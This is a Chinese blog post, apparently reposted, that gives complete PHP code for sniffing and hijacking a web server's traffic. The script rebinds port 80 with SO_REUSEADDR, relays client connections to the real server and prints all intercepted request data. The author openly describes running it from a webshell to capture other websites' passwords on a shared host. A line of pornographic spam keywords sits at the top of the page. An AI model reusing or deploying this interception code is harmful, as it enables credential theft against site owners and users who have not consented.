日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程语言 > php >内容正文

php

php劫持代码,利用php来嗅探劫持服务器数据

發布時間:2023/12/3 php 24 豆豆
生活随笔 收集整理的這篇文章主要介紹了 php劫持代码,利用php来嗅探劫持服务器数据 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

前幾天刺在我們的maillist發了一個老外寫的文章,大意是可以用php來實現數據的劫持和轉發。我瞄了一下,確實可行,于是今天抽出了以前用來扯淡的時間,寫了段代碼驗證了一下想法。老外的原文是一個PDF,有興趣看的可以看看。地址是在:http://www.secforce.co.uk/media/presentations/OWASP_Abusing_PHP_sockets.pdf。其實關于這個的原理,我記得很早很早之前flashsky就在xfocus上面貼過通過SO_REUSEADDR實現端口重復綁定的,mix還寫過一個 guest權限嗅探密碼的。我這里比較不同的是用php實現的,可以在webshell里面用,當然我沒有測試過,我沒shell。

代碼我注釋得很詳細,個人覺得寫得還不錯,不細說。這里大概說一下技術上的難點。首先是在web里面,沒有多線程也沒有多進程,但是每一個新連接進來就要去處理,應該怎么做?顯然不能順序執行,因為光accept那里就會被阻塞住的,而且后面每一個session也需要分別處理的。還好查手冊發現經典的socket_select函數可用,有這個就好說了,專業實現多路復用的。

PHP代碼如下,有詳細注釋。blog貼的,所以代碼可能會掉些東西,其他的支持我就不提供了,看代碼:

class select

{

var $sockets;

// 構造函數

function select($sockets)

{

$this->sockets = array();

foreach($sockets as $socket)

{

$this->add($socket);

}

}

function add($add_socket)

{

//array_push($this->sockets, $add_socket);

$this->sockets[] = $add_socket;

}

// 利用臨時數組來刪除數組中的元素

function remove($remove_socket)

{

$tmp_sockets = array();

foreach($this->sockets as $socket)

{

if($remove_socket != $socket)

{

$tmp_sockets[] = $socket;

}

}

$this->sockets = $tmp_sockets;

}

// 檢查socket數組是否可讀,傳入超時時間,返回socket數組

function can_read($timeout)

{

$read = $this->sockets;

socket_select( $read, $write = NULL, $except = NULL, $timeout );

return $read;

}

// 檢查socket數組是否可寫,傳入超時時間,返回socket數組

function can_write($timeout)

{

$write = $this->sockets;

socket_select( $read = NULL, $write, $except = NULL, $timeout );

return $write;

}

}

// 網頁不超時

set_time_limit(0);

// 即時輸出數據,不緩沖

ob_end_clean();

ob_implicit_flush(true);

if( !isset($_GET["listen_ip"]) )

{

exit;

}

if( $_GET["listen_ip"] == "" )

{

exit;

}

$listen_ip = $_GET["listen_ip"];

$listen_port = 80;

// 建立socket

$listen_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

// 設置重復綁定

socket_set_option($listen_sock, SOL_SOCKET, SO_REUSEADDR, 1);

// 明確指定綁定IP地址,優先獲取數據

socket_bind($listen_sock, $listen_ip, $listen_port);

// 開始監聽

socket_listen ($listen_sock);

echo "listen on ".htmlentities($listen_ip)." :".$listen_port."
";

// 創建socket數組,使用select來輪詢

$check_socks = array($listen_sock);

// 映射客戶端socket和服務端socket

// $socket_maps1將客戶端socket作為key

// $socket_maps2將服務端socket作為key

// 以內存換速度,并且方便下面的搜索

$socket_maps1 = array( );

$socket_maps2 = array( );

// 實例化select類

$select = new select( $check_socks );

while(true)

{

/*

print_r( $socket_maps );

print "
";

*/

// select輪詢,超時2秒

foreach ($select->can_read(1) as $socket)

{

// listen_sock可讀,說明有人連接上來了

if( $socket == $listen_sock )

{

// 接受新連接,并加入到輪訓數組

$new_client = socket_accept($listen_sock);

$select->add($new_client);

socket_getpeername($new_client, $ip, $port);

echo "New client connected: $ip, $port
";

// 建立到真實服務器的socket

$server_sock = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);

socket_connect($server_sock,"127.0.0.1", $listen_port);

// 建立真實服務器socket和真實客戶端socket之間的映射關系

$socket_maps1[$new_client] = $server_sock;

$socket_maps2[$server_sock] = $new_client;

// 添加到select輪詢中

$select->add($server_sock);

// $listen_sock的可讀數據是因為有新連接,已經處理了。暫時去掉,因為下面開始處理數據轉發

//select->remove( $listen_sock );

}

// 其他socket可讀,表示有數據需要中轉

else

{

// 讀取數據,失敗則從輪詢socket中刪除,并關閉socket

$client_data = @socket_read($socket, 1024, PHP_NORMAL_READ);

if ($client_data === false)

{

socket_close( $socket );

$select->remove( $socket );

echo "client disconnected.
";

continue;

}

// 如果socket在$socket_maps1的key中,說明是從客戶端讀到了數據

if( in_array( $socket, array_keys($socket_maps1)) )

{

//echo "readed from client.
";

if( ! socket_write( $socket_maps1[$socket], $client_data ) )

{

socket_close( $socket );

socket_close( $socket_maps1[$socket] );

$select->remove( $socket );

$select->remove( $socket_maps1[$socket] );

print "Write to server error.
";

}

print htmlentities($client_data)."
";

}

// 否則如果socket在$socket_maps2的key中,說明是從真正的web服務器讀到了數據

elseif( in_array( $socket, array_keys($socket_maps2) ) )

{

//echo "readed from server.
";

if( ! socket_write( $socket_maps2[$socket], $client_data ) )

{

socket_close( $socket );

socket_close( $socket_maps2[$socket] );

$select->remove( $socket );

$select->remove( $socket_maps2[$socket] );

print "Write to client error.
";

}

print htmlentities($client_data)."
";

}

}

}

}

?>

這個東西有什么作用?自由發揮。也許你有一個webshell,但是卻想知道同一個服務器上面別人網站的密碼……我是在windows xp+apache測試的,據我所知windows2003默認已經不準重復綁定端口了。

總結

以上是生活随笔為你收集整理的php劫持代码,利用php来嗅探劫持服务器数据的全部內容,希望文章能夠幫你解決所遇到的問題。

如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。